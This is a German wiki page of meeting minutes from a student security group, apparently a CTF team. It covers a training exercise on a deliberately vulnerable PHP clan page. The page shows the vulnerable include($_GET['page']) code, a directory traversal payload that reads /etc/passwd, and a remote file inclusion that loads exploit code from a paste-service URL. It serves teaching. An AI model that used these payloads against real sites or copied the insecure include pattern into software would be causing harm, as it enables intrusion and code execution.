CInsects/Protokolle/CInsects:Treffen-2010-11-02
Diese Seite ist eine Unterseite von CInsects.
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.
Ablauf
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.
Hackit 1
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.
Directory Traversal
Es war moeglich ueber den HTTP-GET-Parameter Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.
Remote Code Inclusion/Execution
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man Remote Code Inclusion/Execution. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=http://dpaste.com/<Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.
Quelltext
<h1>Welcome to our cool clan page!</h1> <div style="float:left;"> <ul> <li><a href="?page=news.php">News</a></li> <li><a href="?page=memberz.php">Memberz</a></li> </ul> </div> <div id="content" style="margin-left:10em;"> <?php if(isset($_GET['page'])) { include($_GET['page']); } else { include('news.php'); } ?>
Sonstiges
FIXME
Links
- Weblinks folgen vielleicht